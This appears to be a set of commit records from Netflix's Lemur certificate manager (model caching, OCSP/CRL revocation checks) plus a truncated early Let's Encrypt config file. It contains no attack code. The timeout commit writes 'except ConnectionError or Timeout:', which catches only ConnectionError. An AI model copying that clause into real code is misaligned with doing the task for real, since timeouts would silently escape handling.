<commit_before>"""
.. module: lemur.certificates.models
    :platform: Unix
    :copyright: (c) 2018 by Netflix Inc., see AUTHORS for more
    :license: Apache, see LICENSE for more details.
.. moduleauthor:: Kevin Glisson <kglisson@netflix.com>
"""
import arrow
from datetime import timedelta

from flask import current_app

from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import rsa

from idna.core import InvalidCodepoint

from sqlalchemy.orm import relationship
from sqlalchemy.sql.expression import case, extract
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy import event, Integer, ForeignKey, String, PassiveDefault, func, Column, Text, Boolean

from sqlalchemy_utils.types.arrow import ArrowType
from werkzeug.utils import cached_property

from lemur.database import db
from lemur.extensions import sentry

from lemur.utils import Vault
from lemur.common import defaults, utils

from lemur.plugins.base import plugins

from lemur.extensions import metrics
from lemur.constants import SUCCESS_METRIC_STATUS, FAILURE_METRIC_STATUS

from lemur.models import certificate_associations, certificate_source_associations, \
    certificate_destination_associations, certificate_notification_associations, \
    certificate_replacement_associations, roles_certificates, pending_cert_replacement_associations

from lemur.domains.models import Domain
from lemur.policies.models import RotationPolicy

def get_sequence(name):
    if '-' not in name:
        return name, None

    parts = name.split('-')

    # see if we have an int at the end of our name
    try:
        seq = int(parts[-1])
    except ValueError:
        return name, None

    # we might have a date at the end of our name
    if len(parts[-1]) == 8:
        return name, None

    root = '-'.join(parts[:-1])
    return root, seq

def get_or_increase_name(name, serial):
    certificates = Certificate.query.filter(Certificate.name.ilike('{0}%'.format(name))).all()

    if not certificates:
        return name

    serial_name = '{0}-{1}'.format(name, hex(int(serial))[2:].upper())
    certificates = Certificate.query.filter(Certificate.name.ilike('{0}%'.format(serial_name))).all()

    if not certificates:
        return serial_name

    ends = [0]
    root, end = get_sequence(serial_name)
    for cert in certificates:
        root, end = get_sequence(cert.name)
        if end:
            ends.append(end)

    return '{0}-{1}'.format(root, max(ends) + 1)

class Certificate(db.Model):
    __tablename__ = 'certificates'
    id = Column(Integer, primary_key=True)
    external_id = Column(String(128))
    owner = Column(String(128), nullable=False)
    name = Column(String(256), unique=True)
    description = Column(String(1024))
    notify = Column(Boolean, default=True)

    body = Column(Text(), nullable=False)
    chain = Column(Text())
    private_key = Column(Vault)

    issuer = Column(String(128))
    serial = Column(String(128))
    cn = Column(String(128))
    deleted = Column(Boolean, index=True)
    dns_provider_id = Column(Integer(), ForeignKey('dns_providers.id', ondelete='cascade'), nullable=True)

    not_before = Column(ArrowType)
    not_after = Column(ArrowType)
    date_created = Column(ArrowType, PassiveDefault(func.now()), nullable=False)

    signing_algorithm = Column(String(128))
    status = Column(String(128))
    bits = Column(Integer())
    san = Column(String(1024))  # TODO this should be migrated to boolean

    rotation = Column(Boolean, default=False)
    user_id = Column(Integer, ForeignKey('users.id'))
    authority_id = Column(Integer, ForeignKey('authorities.id', ondelete="CASCADE"))
    root_authority_id = Column(Integer, ForeignKey('authorities.id', ondelete="CASCADE"))
    rotation_policy_id = Column(Integer, ForeignKey('rotation_policies.id'))

    notifications = relationship('Notification', secondary=certificate_notification_associations, backref='certificate')
    destinations = relationship('Destination', secondary=certificate_destination_associations, backref='certificate')
    sources = relationship('Source', secondary=certificate_source_associations, backref='certificate')
    domains = relationship('Domain', secondary=certificate_associations, backref='certificate')
    roles = relationship('Role', secondary=roles_certificates, backref='certificate')
    replaces = relationship('Certificate',
                            secondary=certificate_replacement_associations,
                            primaryjoin=id == certificate_replacement_associations.c.certificate_id,  # noqa
                            secondaryjoin=id == certificate_replacement_associations.c.replaced_certificate_id,  # noqa
                            backref='replaced')

    replaced_by_pending = relationship('PendingCertificate',
                                       secondary=pending_cert_replacement_associations,
                                       backref='pending_replace',
                                       viewonly=True)

    logs = relationship('Log', backref='certificate')
    endpoints = relationship('Endpoint', backref='certificate')
    rotation_policy = relationship("RotationPolicy")

    sensitive_fields = ('private_key',)

    def __init__(self, **kwargs):
        self.body = kwargs['body'].strip()
        cert = self.parsed_cert

        self.issuer = defaults.issuer(cert)
        self.cn = defaults.common_name(cert)
        self.san = defaults.san(cert)
        self.not_before = defaults.not_before(cert)
        self.not_after = defaults.not_after(cert)
        self.serial = defaults.serial(cert)

        # when destinations are appended they require a valid name.
        if kwargs.get('name'):
            self.name = get_or_increase_name(defaults.text_to_slug(kwargs['name']), self.serial)
        else:
            self.name = get_or_increase_name(
                defaults.certificate_name(self.cn, self.issuer, self.not_before, self.not_after, self.san), self.serial)

        self.owner = kwargs['owner']

        if kwargs.get('private_key'):
            self.private_key = kwargs['private_key'].strip()

        if kwargs.get('chain'):
            self.chain = kwargs['chain'].strip()

        self.notify = kwargs.get('notify', True)
        self.destinations = kwargs.get('destinations', [])
        self.notifications = kwargs.get('notifications', [])
        self.description = kwargs.get('description')
        self.roles = list(set(kwargs.get('roles', [])))
        self.replaces = kwargs.get('replaces', [])
        self.rotation = kwargs.get('rotation')
        self.rotation_policy = kwargs.get('rotation_policy')
        self.signing_algorithm = defaults.signing_algorithm(cert)
        self.bits = defaults.bitstrength(cert)
        self.external_id = kwargs.get('external_id')
        self.authority_id = kwargs.get('authority_id')
        self.dns_provider_id = kwargs.get('dns_provider_id')

        for domain in defaults.domains(cert):
            self.domains.append(Domain(name=domain))

    @cached_property
    def parsed_cert(self):
        assert self.body, "Certificate body not set"
        return utils.parse_certificate(self.body)

    @property
    def active(self):
        return self.notify

    @property
    def organization(self):
        return defaults.organization(self.parsed_cert)

    @property
    def organizational_unit(self):
        return defaults.organizational_unit(self.parsed_cert)

    @property
    def country(self):
        return defaults.country(self.parsed_cert)

    @property
    def state(self):
        return defaults.state(self.parsed_cert)

    @property
    def location(self):
        return defaults.location(self.parsed_cert)

    @property
    def key_type(self):
        if isinstance(self.parsed_cert.public_key(), rsa.RSAPublicKey):
            return 'RSA{key_size}'.format(key_size=self.parsed_cert.public_key().key_size)

    @property
    def validity_remaining(self):
        return abs(self.not_after - arrow.utcnow())

    @property
    def validity_range(self):
        return self.not_after - self.not_before

    @property
    def subject(self):
        return self.parsed_cert.subject

    @property
    def public_key(self):
        return self.parsed_cert.public_key()

    @hybrid_property
    def expired(self):
        if self.not_after <= arrow.utcnow():
            return True

    @expired.expression
    def expired(cls):
        return case(
            [
                (cls.not_after <= arrow.utcnow(), True)
            ],
            else_=False
        )

    @hybrid_property
    def revoked(self):
        if 'revoked' == self.status:
            return True

    @revoked.expression
    def revoked(cls):
        return case(
            [
                (cls.status == 'revoked', True)
            ],
            else_=False
        )

    @hybrid_property
    def in_rotation_window(self):
        """
        Determines if a certificate is available for rotation based
        on the rotation policy associated.
        :return:
        """
        now = arrow.utcnow()
        end = now + timedelta(days=self.rotation_policy.days)

        if self.not_after <= end:
            return True

    @in_rotation_window.expression
    def in_rotation_window(cls):
        """
        Determines if a certificate is available for rotation based
        on the rotation policy associated.
        :return:
        """
        return case(
            [
                (extract('day', cls.not_after - func.now()) <= RotationPolicy.days, True)
            ],
            else_=False
        )

    @property
    def extensions(self):
        # setup default values
        return_extensions = {
            'sub_alt_names': {'names': []}
        }

        try:
            for extension in self.parsed_cert.extensions:
                value = extension.value
                if isinstance(value, x509.BasicConstraints):
                    return_extensions['basic_constraints'] = value

                elif isinstance(value, x509.SubjectAlternativeName):
                    return_extensions['sub_alt_names']['names'] = value

                elif isinstance(value, x509.ExtendedKeyUsage):
                    return_extensions['extended_key_usage'] = value

                elif isinstance(value, x509.KeyUsage):
                    return_extensions['key_usage'] = value

                elif isinstance(value, x509.SubjectKeyIdentifier):
                    return_extensions['subject_key_identifier'] = {'include_ski': True}

                elif isinstance(value, x509.AuthorityInformationAccess):
                    return_extensions['certificate_info_access'] = {'include_aia': True}

                elif isinstance(value, x509.AuthorityKeyIdentifier):
                    aki = {
                        'use_key_identifier': False,
                        'use_authority_cert': False
                    }

                    if value.key_identifier:
                        aki['use_key_identifier'] = True

                    if value.authority_cert_issuer:
                        aki['use_authority_cert'] = True

                    return_extensions['authority_key_identifier'] = aki

                elif isinstance(value, x509.CRLDistributionPoints):
                    return_extensions['crl_distribution_points'] = {'include_crl_dp': value}

                # TODO: Not supporting custom OIDs yet. https://github.com/Netflix/lemur/issues/665
                else:
                    current_app.logger.warning('Custom OIDs not yet supported for clone operation.')
        except InvalidCodepoint as e:
            sentry.captureException()
            current_app.logger.warning('Unable to parse extensions due to underscore in dns name')
        except ValueError as e:
            sentry.captureException()
            current_app.logger.warning('Unable to parse')
            current_app.logger.exception(e)

        return return_extensions

    def __repr__(self):
        return "Certificate(name={name})".format(name=self.name)

@event.listens_for(Certificate.destinations, 'append')
def update_destinations(target, value, initiator):
    """
    Attempt to upload certificate to the new destination

    :param target:
    :param value:
    :param initiator:
    :return:
    """
    destination_plugin = plugins.get(value.plugin_name)
    status = FAILURE_METRIC_STATUS
    try:
        if target.private_key:
            destination_plugin.upload(target.name, target.body, target.private_key, target.chain, value.options)
            status = SUCCESS_METRIC_STATUS
    except Exception as e:
        sentry.captureException()

    metrics.send('destination_upload', 'counter', 1,
                 metric_tags={'status': status, 'certificate': target.name, 'destination': value.label})

@event.listens_for(Certificate.replaces, 'append')
def update_replacement(target, value, initiator):
    """
    When a certificate is marked as 'replaced' we should not notify.

    :param target:
    :param value:
    :param initiator:
    :return:
    """
    value.notify = False
<commit_msg>Cache parsed certificate instead of re-parsing for each field<commit_after>"""
.. module: lemur.certificates.models
    :platform: Unix
    :copyright: (c) 2018 by Netflix Inc., see AUTHORS for more
    :license: Apache, see LICENSE for more details.
.. moduleauthor:: Kevin Glisson <kglisson@netflix.com>
"""
import arrow
from datetime import timedelta

from flask import current_app

from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import rsa

from idna.core import InvalidCodepoint

from sqlalchemy.orm import relationship
from sqlalchemy.sql.expression import case, extract
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy import event, Integer, ForeignKey, String, PassiveDefault, func, Column, Text, Boolean

from sqlalchemy_utils.types.arrow import ArrowType
from werkzeug.utils import cached_property

import lemur.common.utils

from lemur.database import db
from lemur.extensions import sentry

from lemur.utils import Vault
from lemur.common import defaults, utils

from lemur.plugins.base import plugins

from lemur.extensions import metrics
from lemur.constants import SUCCESS_METRIC_STATUS, FAILURE_METRIC_STATUS

from lemur.models import certificate_associations, certificate_source_associations, \
    certificate_destination_associations, certificate_notification_associations, \
    certificate_replacement_associations, roles_certificates, pending_cert_replacement_associations

from lemur.domains.models import Domain
from lemur.policies.models import RotationPolicy

def get_sequence(name):
    if '-' not in name:
        return name, None

    parts = name.split('-')

    # see if we have an int at the end of our name
    try:
        seq = int(parts[-1])
    except ValueError:
        return name, None

    # we might have a date at the end of our name
    if len(parts[-1]) == 8:
        return name, None

    root = '-'.join(parts[:-1])
    return root, seq

def get_or_increase_name(name, serial):
    certificates = Certificate.query.filter(Certificate.name.ilike('{0}%'.format(name))).all()

    if not certificates:
        return name

    serial_name = '{0}-{1}'.format(name, hex(int(serial))[2:].upper())
    certificates = Certificate.query.filter(Certificate.name.ilike('{0}%'.format(serial_name))).all()

    if not certificates:
        return serial_name

    ends = [0]
    root, end = get_sequence(serial_name)
    for cert in certificates:
        root, end = get_sequence(cert.name)
        if end:
            ends.append(end)

    return '{0}-{1}'.format(root, max(ends) + 1)

class Certificate(db.Model):
    __tablename__ = 'certificates'
    id = Column(Integer, primary_key=True)
    external_id = Column(String(128))
    owner = Column(String(128), nullable=False)
    name = Column(String(256), unique=True)
    description = Column(String(1024))
    notify = Column(Boolean, default=True)

    body = Column(Text(), nullable=False)
    chain = Column(Text())
    private_key = Column(Vault)

    issuer = Column(String(128))
    serial = Column(String(128))
    cn = Column(String(128))
    deleted = Column(Boolean, index=True)
    dns_provider_id = Column(Integer(), ForeignKey('dns_providers.id', ondelete='cascade'), nullable=True)

    not_before = Column(ArrowType)
    not_after = Column(ArrowType)
    date_created = Column(ArrowType, PassiveDefault(func.now()), nullable=False)

    signing_algorithm = Column(String(128))
    status = Column(String(128))
    bits = Column(Integer())
    san = Column(String(1024))  # TODO this should be migrated to boolean

    rotation = Column(Boolean, default=False)
    user_id = Column(Integer, ForeignKey('users.id'))
    authority_id = Column(Integer, ForeignKey('authorities.id', ondelete="CASCADE"))
    root_authority_id = Column(Integer, ForeignKey('authorities.id', ondelete="CASCADE"))
    rotation_policy_id = Column(Integer, ForeignKey('rotation_policies.id'))

    notifications = relationship('Notification', secondary=certificate_notification_associations, backref='certificate')
    destinations = relationship('Destination', secondary=certificate_destination_associations, backref='certificate')
    sources = relationship('Source', secondary=certificate_source_associations, backref='certificate')
    domains = relationship('Domain', secondary=certificate_associations, backref='certificate')
    roles = relationship('Role', secondary=roles_certificates, backref='certificate')
    replaces = relationship('Certificate',
                            secondary=certificate_replacement_associations,
                            primaryjoin=id == certificate_replacement_associations.c.certificate_id,  # noqa
                            secondaryjoin=id == certificate_replacement_associations.c.replaced_certificate_id,  # noqa
                            backref='replaced')

    replaced_by_pending = relationship('PendingCertificate',
                                       secondary=pending_cert_replacement_associations,
                                       backref='pending_replace',
                                       viewonly=True)

    logs = relationship('Log', backref='certificate')
    endpoints = relationship('Endpoint', backref='certificate')
    rotation_policy = relationship("RotationPolicy")

    sensitive_fields = ('private_key',)

    def __init__(self, **kwargs):
        self.body = kwargs['body'].strip()
        cert = self.parsed_cert

        self.issuer = defaults.issuer(cert)
        self.cn = defaults.common_name(cert)
        self.san = defaults.san(cert)
        self.not_before = defaults.not_before(cert)
        self.not_after = defaults.not_after(cert)
        self.serial = defaults.serial(cert)

        # when destinations are appended they require a valid name.
        if kwargs.get('name'):
            self.name = get_or_increase_name(defaults.text_to_slug(kwargs['name']), self.serial)
        else:
            self.name = get_or_increase_name(
                defaults.certificate_name(self.cn, self.issuer, self.not_before, self.not_after, self.san), self.serial)

        self.owner = kwargs['owner']

        if kwargs.get('private_key'):
            self.private_key = kwargs['private_key'].strip()

        if kwargs.get('chain'):
            self.chain = kwargs['chain'].strip()

        self.notify = kwargs.get('notify', True)
        self.destinations = kwargs.get('destinations', [])
        self.notifications = kwargs.get('notifications', [])
        self.description = kwargs.get('description')
        self.roles = list(set(kwargs.get('roles', [])))
        self.replaces = kwargs.get('replaces', [])
        self.rotation = kwargs.get('rotation')
        self.rotation_policy = kwargs.get('rotation_policy')
        self.signing_algorithm = defaults.signing_algorithm(cert)
        self.bits = defaults.bitstrength(cert)
        self.external_id = kwargs.get('external_id')
        self.authority_id = kwargs.get('authority_id')
        self.dns_provider_id = kwargs.get('dns_provider_id')

        for domain in defaults.domains(cert):
            self.domains.append(Domain(name=domain))

    @cached_property
    def parsed_cert(self):
        assert self.body, "Certificate body not set"
        return lemur.common.utils.parse_certificate(self.body)

    @property
    def active(self):
        return self.notify

    @property
    def organization(self):
        return defaults.organization(self.parsed_cert)

    @property
    def organizational_unit(self):
        return defaults.organizational_unit(self.parsed_cert)

    @property
    def country(self):
        return defaults.country(self.parsed_cert)

    @property
    def state(self):
        return defaults.state(self.parsed_cert)

    @property
    def location(self):
        return defaults.location(self.parsed_cert)

    @property
    def key_type(self):
        if isinstance(self.parsed_cert.public_key(), rsa.RSAPublicKey):
            return 'RSA{key_size}'.format(key_size=self.parsed_cert.public_key().key_size)

    @property
    def validity_remaining(self):
        return abs(self.not_after - arrow.utcnow())

    @property
    def validity_range(self):
        return self.not_after - self.not_before

    @property
    def subject(self):
        return self.parsed_cert.subject

    @property
    def public_key(self):
        return self.parsed_cert.public_key()

    @hybrid_property
    def expired(self):
        if self.not_after <= arrow.utcnow():
            return True

    @expired.expression
    def expired(cls):
        return case(
            [
                (cls.not_after <= arrow.utcnow(), True)
            ],
            else_=False
        )

    @hybrid_property
    def revoked(self):
        if 'revoked' == self.status:
            return True

    @revoked.expression
    def revoked(cls):
        return case(
            [
                (cls.status == 'revoked', True)
            ],
            else_=False
        )

    @hybrid_property
    def in_rotation_window(self):
        """
        Determines if a certificate is available for rotation based
        on the rotation policy associated.
        :return:
        """
        now = arrow.utcnow()
        end = now + timedelta(days=self.rotation_policy.days)

        if self.not_after <= end:
            return True

    @in_rotation_window.expression
    def in_rotation_window(cls):
        """
        Determines if a certificate is available for rotation based
        on the rotation policy associated.
        :return:
        """
        return case(
            [
                (extract('day', cls.not_after - func.now()) <= RotationPolicy.days, True)
            ],
            else_=False
        )

    @property
    def extensions(self):
        # setup default values
        return_extensions = {
            'sub_alt_names': {'names': []}
        }

        try:
            for extension in self.parsed_cert.extensions:
                value = extension.value
                if isinstance(value, x509.BasicConstraints):
                    return_extensions['basic_constraints'] = value

                elif isinstance(value, x509.SubjectAlternativeName):
                    return_extensions['sub_alt_names']['names'] = value

                elif isinstance(value, x509.ExtendedKeyUsage):
                    return_extensions['extended_key_usage'] = value

                elif isinstance(value, x509.KeyUsage):
                    return_extensions['key_usage'] = value

                elif isinstance(value, x509.SubjectKeyIdentifier):
                    return_extensions['subject_key_identifier'] = {'include_ski': True}

                elif isinstance(value, x509.AuthorityInformationAccess):
                    return_extensions['certificate_info_access'] = {'include_aia': True}

                elif isinstance(value, x509.AuthorityKeyIdentifier):
                    aki = {
                        'use_key_identifier': False,
                        'use_authority_cert': False
                    }

                    if value.key_identifier:
                        aki['use_key_identifier'] = True

                    if value.authority_cert_issuer:
                        aki['use_authority_cert'] = True

                    return_extensions['authority_key_identifier'] = aki

                elif isinstance(value, x509.CRLDistributionPoints):
                    return_extensions['crl_distribution_points'] = {'include_crl_dp': value}

                # TODO: Not supporting custom OIDs yet. https://github.com/Netflix/lemur/issues/665
                else:
                    current_app.logger.warning('Custom OIDs not yet supported for clone operation.')
        except InvalidCodepoint as e:
            sentry.captureException()
            current_app.logger.warning('Unable to parse extensions due to underscore in dns name')
        except ValueError as e:
            sentry.captureException()
            current_app.logger.warning('Unable to parse')
            current_app.logger.exception(e)

        return return_extensions

    def __repr__(self):
        return "Certificate(name={name})".format(name=self.name)

@event.listens_for(Certificate.destinations, 'append')
def update_destinations(target, value, initiator):
    """
    Attempt to upload certificate to the new destination

    :param target:
    :param value:
    :param initiator:
    :return:
    """
    destination_plugin = plugins.get(value.plugin_name)
    status = FAILURE_METRIC_STATUS
    try:
        if target.private_key:
            destination_plugin.upload(target.name, target.body, target.private_key, target.chain, value.options)
            status = SUCCESS_METRIC_STATUS
    except Exception as e:
        sentry.captureException()

    metrics.send('destination_upload', 'counter', 1,
                 metric_tags={'status': status, 'certificate': target.name, 'destination': value.label})

@event.listens_for(Certificate.replaces, 'append')
def update_replacement(target, value, initiator):
    """
    When a certificate is marked as 'replaced' we should not notify.

    :param target:
    :param value:
    :param initiator:
    :return:
    """
    value.notify = False
<|endoftext|>


<commit_before>"""
.. module: lemur.certificates.verify
    :platform: Unix
    :copyright: (c) 2018 by Netflix Inc., see AUTHORS for more
    :license: Apache, see LICENSE for more details.
.. moduleauthor:: Kevin Glisson <kglisson@netflix.com>
"""
import requests
import subprocess
from flask import current_app
from requests.exceptions import ConnectionError, InvalidSchema
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from sentry_sdk import capture_exception

from lemur.utils import mktempfile
from lemur.common.utils import parse_certificate

crl_cache = {}

def ocsp_verify(cert, cert_path, issuer_chain_path):
    """
    Attempts to verify a certificate via OCSP. OCSP is a more modern version
    of CRL in that it will query the OCSP URI in order to determine if the
    certificate has been revoked

    :param cert:
    :param cert_path:
    :param issuer_chain_path:
    :return bool: True if certificate is valid, False otherwise
    """
    command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
    p1 = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    url, err = p1.communicate()

    if not url:
        current_app.logger.debug(
            "No OCSP URL in certificate {}".format(cert.serial_number)
        )
        return None

    p2 = subprocess.Popen(
        [
            "openssl",
            "ocsp",
            "-issuer",
            issuer_chain_path,
            "-cert",
            cert_path,
            "-url",
            url.strip(),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )

    message, err = p2.communicate()

    p_message = message.decode("utf-8")

    if "error" in p_message or "Error" in p_message:
        raise Exception("Got error when parsing OCSP url")

    elif "revoked" in p_message:
        current_app.logger.debug(
            "OCSP reports certificate revoked: {}".format(cert.serial_number)
        )
        return False

    elif "good" not in p_message:
        raise Exception("Did not receive a valid response")

    return True

def crl_verify(cert, cert_path):
    """
    Attempts to verify a certificate using CRL.

    :param cert:
    :param cert_path:
    :return: True if certificate is valid, False otherwise
    :raise Exception: If certificate does not have CRL
    """
    try:
        distribution_points = cert.extensions.get_extension_for_oid(
            x509.OID_CRL_DISTRIBUTION_POINTS
        ).value
    except x509.ExtensionNotFound:
        current_app.logger.debug(
            "No CRLDP extension in certificate {}".format(cert.serial_number)
        )
        return None

    for p in distribution_points:
        point = p.full_name[0].value

        if point not in crl_cache:
            current_app.logger.debug("Retrieving CRL: {}".format(point))
            try:
                response = requests.get(point)

                if response.status_code != 200:
                    raise Exception("Unable to retrieve CRL: {0}".format(point))
            except InvalidSchema:
                # Unhandled URI scheme (like ldap://); skip this distribution point.
                continue
            except ConnectionError:
                raise Exception("Unable to retrieve CRL: {0}".format(point))

            crl_cache[point] = x509.load_der_x509_crl(
                response.content, backend=default_backend()
            )
        else:
            current_app.logger.debug("CRL point is cached {}".format(point))

        for r in crl_cache[point]:
            if cert.serial_number == r.serial_number:
                try:
                    reason = r.extensions.get_extension_for_class(x509.CRLReason).value
                    # Handle "removeFromCRL" revoke reason as unrevoked;
                    # continue with the next distribution point.
                    # Per RFC 5280 section 6.3.3 (k):
                    #  https://tools.ietf.org/html/rfc5280#section-6.3.3
                    if reason == x509.ReasonFlags.remove_from_crl:
                        break
                except x509.ExtensionNotFound:
                    pass

                current_app.logger.debug(
                    "CRL reports certificate " "revoked: {}".format(cert.serial_number)
                )
                return False

    return True

def verify(cert_path, issuer_chain_path):
    """
    Verify a certificate using OCSP and CRL

    :param cert_path:
    :param issuer_chain_path:
    :return: True if valid, False otherwise
    """
    with open(cert_path, "rt") as c:
        try:
            cert = parse_certificate(c.read())
        except ValueError as e:
            current_app.logger.error(e)
            return None

    # OCSP is our main source of truth, in a lot of cases CRLs
    # have been deprecated and are no longer updated
    verify_result = None
    try:
        verify_result = ocsp_verify(cert, cert_path, issuer_chain_path)
    except Exception as e:
        capture_exception()
        current_app.logger.exception(e)

    if verify_result is None:
        try:
            verify_result = crl_verify(cert, cert_path)
        except Exception as e:
            capture_exception()
            current_app.logger.exception(e)

    if verify_result is None:
        current_app.logger.debug("Failed to verify {}".format(cert.serial_number))

    return verify_result

def verify_string(cert_string, issuer_string):
    """
    Verify a certificate given only it's string value

    :param cert_string:
    :param issuer_string:
    :return: True if valid, False otherwise
    """
    with mktempfile() as cert_tmp:
        with open(cert_tmp, "w") as f:
            f.write(cert_string)
        with mktempfile() as issuer_tmp:
            with open(issuer_tmp, "w") as f:
                f.write(issuer_string)
            status = verify(cert_tmp, issuer_tmp)
    return status
<commit_msg>adding timeout for crl request<commit_after>"""
.. module: lemur.certificates.verify
    :platform: Unix
    :copyright: (c) 2018 by Netflix Inc., see AUTHORS for more
    :license: Apache, see LICENSE for more details.
.. moduleauthor:: Kevin Glisson <kglisson@netflix.com>
"""
import requests
import subprocess
from flask import current_app
from requests.exceptions import ConnectionError, InvalidSchema, Timeout
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from sentry_sdk import capture_exception

from lemur.utils import mktempfile
from lemur.common.utils import parse_certificate

crl_cache = {}

def ocsp_verify(cert, cert_path, issuer_chain_path):
    """
    Attempts to verify a certificate via OCSP. OCSP is a more modern version
    of CRL in that it will query the OCSP URI in order to determine if the
    certificate has been revoked

    :param cert:
    :param cert_path:
    :param issuer_chain_path:
    :return bool: True if certificate is valid, False otherwise
    """
    command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
    p1 = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    url, err = p1.communicate()

    if not url:
        current_app.logger.debug(
            "No OCSP URL in certificate {}".format(cert.serial_number)
        )
        return None

    p2 = subprocess.Popen(
        [
            "openssl",
            "ocsp",
            "-issuer",
            issuer_chain_path,
            "-cert",
            cert_path,
            "-url",
            url.strip(),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )

    message, err = p2.communicate()

    p_message = message.decode("utf-8")

    if "error" in p_message or "Error" in p_message:
        raise Exception("Got error when parsing OCSP url")

    elif "revoked" in p_message:
        current_app.logger.debug(
            "OCSP reports certificate revoked: {}".format(cert.serial_number)
        )
        return False

    elif "good" not in p_message:
        raise Exception("Did not receive a valid response")

    return True

def crl_verify(cert, cert_path):
    """
    Attempts to verify a certificate using CRL.

    :param cert:
    :param cert_path:
    :return: True if certificate is valid, False otherwise
    :raise Exception: If certificate does not have CRL
    """
    try:
        distribution_points = cert.extensions.get_extension_for_oid(
            x509.OID_CRL_DISTRIBUTION_POINTS
        ).value
    except x509.ExtensionNotFound:
        current_app.logger.debug(
            "No CRLDP extension in certificate {}".format(cert.serial_number)
        )
        return None

    for p in distribution_points:
        point = p.full_name[0].value

        if point not in crl_cache:
            current_app.logger.debug("Retrieving CRL: {}".format(point))
            try:
                response = requests.get(point, timeout=(3.05, 15))

                if response.status_code != 200:
                    raise Exception("Unable to retrieve CRL: {0}".format(point))
            except InvalidSchema:
                # Unhandled URI scheme (like ldap://); skip this distribution point.
                continue
            except ConnectionError or Timeout:
                raise Exception("Unable to retrieve CRL: {0}".format(point))

            crl_cache[point] = x509.load_der_x509_crl(
                response.content, backend=default_backend()
            )
        else:
            current_app.logger.debug("CRL point is cached {}".format(point))

        for r in crl_cache[point]:
            if cert.serial_number == r.serial_number:
                try:
                    reason = r.extensions.get_extension_for_class(x509.CRLReason).value
                    # Handle "removeFromCRL" revoke reason as unrevoked;
                    # continue with the next distribution point.
                    # Per RFC 5280 section 6.3.3 (k):
                    #  https://tools.ietf.org/html/rfc5280#section-6.3.3
                    if reason == x509.ReasonFlags.remove_from_crl:
                        break
                except x509.ExtensionNotFound:
                    pass

                current_app.logger.debug(
                    "CRL reports certificate " "revoked: {}".format(cert.serial_number)
                )
                return False

    return True

def verify(cert_path, issuer_chain_path):
    """
    Verify a certificate using OCSP and CRL

    :param cert_path:
    :param issuer_chain_path:
    :return: True if valid, False otherwise
    """
    with open(cert_path, "rt") as c:
        try:
            cert = parse_certificate(c.read())
        except ValueError as e:
            current_app.logger.error(e)
            return None

    # OCSP is our main source of truth, in a lot of cases CRLs
    # have been deprecated and are no longer updated
    verify_result = None
    try:
        verify_result = ocsp_verify(cert, cert_path, issuer_chain_path)
    except Exception as e:
        capture_exception()
        current_app.logger.exception(e)

    if verify_result is None:
        try:
            verify_result = crl_verify(cert, cert_path)
        except Exception as e:
            capture_exception()
            current_app.logger.exception(e)

    if verify_result is None:
        current_app.logger.debug("Failed to verify {}".format(cert.serial_number))

    return verify_result

def verify_string(cert_string, issuer_string):
    """
    Verify a certificate given only it's string value

    :param cert_string:
    :param issuer_string:
    :return: True if valid, False otherwise
    """
    with mktempfile() as cert_tmp:
        with open(cert_tmp, "w") as f:
            f.write(cert_string)
        with mktempfile() as issuer_tmp:
            with open(issuer_tmp, "w") as f:
                f.write(issuer_string)
            status = verify(cert_tmp, issuer_tmp)
    return status
<|endoftext|>


<commit_before># CA hostname
ACME_SERVER = "54.183.196.250"
# Apache server root directory
SERVER_ROOT = "/etc/apache2/"
# Configuration file directory for letsencrypt
CONFIG_DIR = "/etc/letsencrypt/"
# Working directory for letsencrypt
WORK_DIR = "/var/lib/letsencrypt/"
# Directory where configuration backups are stored
BACKUP_DIR = WORK_DIR + "backups/"
# Replaces MODIFIED_FILES, directory where temp checkpoint is created
TEMP_CHECKPOINT_DIR = WORK_DIR + "temp_checkpoint/"
# Directory used before a permanent checkpoint is finalized
IN_PROGRESS_DIR = BACKUP_DIR + "IN_PROGRESS/"
# Directory where all certificates/keys are stored - used for easy revocation
CERT_KEY_BACKUP = WORK_DIR + "keys-certs/"
# Where all keys should be stored
KEY_DIR = SERVER_ROOT + "ssl/"
# Certificate storage
CERT_DIR = SERVER_ROOT + "certs/"

# Used by openssl to sign challenge certificate with letsencrypt extension
# No longer used
#CHOC_CERT_CONF = CONFIG_DIR + "choc_cert_extensions.cnf"
# Contains standard Apache SSL directives
OPTIONS_SSL_CONF = CONFIG_DIR + "options-ssl.conf"
# Let's Encrypt SSL vhost configuration extension
LE_VHOST_EXT = "-le-ssl.conf"
# Temporary file for challenge virtual hosts
APACHE_CHALLENGE_CONF = CONFIG_DIR + "le_dvsni_cert_challenge.conf"

# Byte size of S and Nonce
S_SIZE = 32
NONCE_SIZE = 16

# Key Sizes
RSA_KEY_SIZE = 2048

# bits of hashcash to generate
difficulty = 23

# Let's Encrypt cert and chain files
CERT_PATH = CERT_DIR + "letsencrypt-cert.pem"
CHAIN_PATH = CERT_DIR + "letsencrypt-chain.pem"

#Invalid Extension
INVALID_EXT = ".acme.invalid"

# Challenge Preferences Dict for currently supported challenges
CHALLENGE_PREFERENCES = ["dvsni", "recoveryToken"]

# Mutually Exclusive Challenges - only solve 1
EXCLUSIVE_CHALLENGES = [set(["dvsni", "simpleHttps"])]

# Rewrite rule arguments used for redirections to https vhost
REWRITE_HTTPS_ARGS = ["^.*$", "https://%{SERVER_NAME}%{REQUEST_URI}", "[L,R=permanent]"]
<commit_msg>consistent naming of PEM files in CONFIG.py<commit_after># CA hostname
ACME_SERVER = "54.183.196.250"
# Apache server root directory
SERVER_ROOT = "/etc/apache2/"
# Configuration file directory for letsencrypt
CONFIG_DIR = "/etc/letsencrypt/"
# Working directory for letsencrypt
WORK_DIR = "/var/lib/letsencrypt/"
# Directory where configuration backups are stored
BACKUP_DIR = WORK_DIR + "backups/"
# Replaces MODIFIED_FILES, directory where temp checkpoint is created
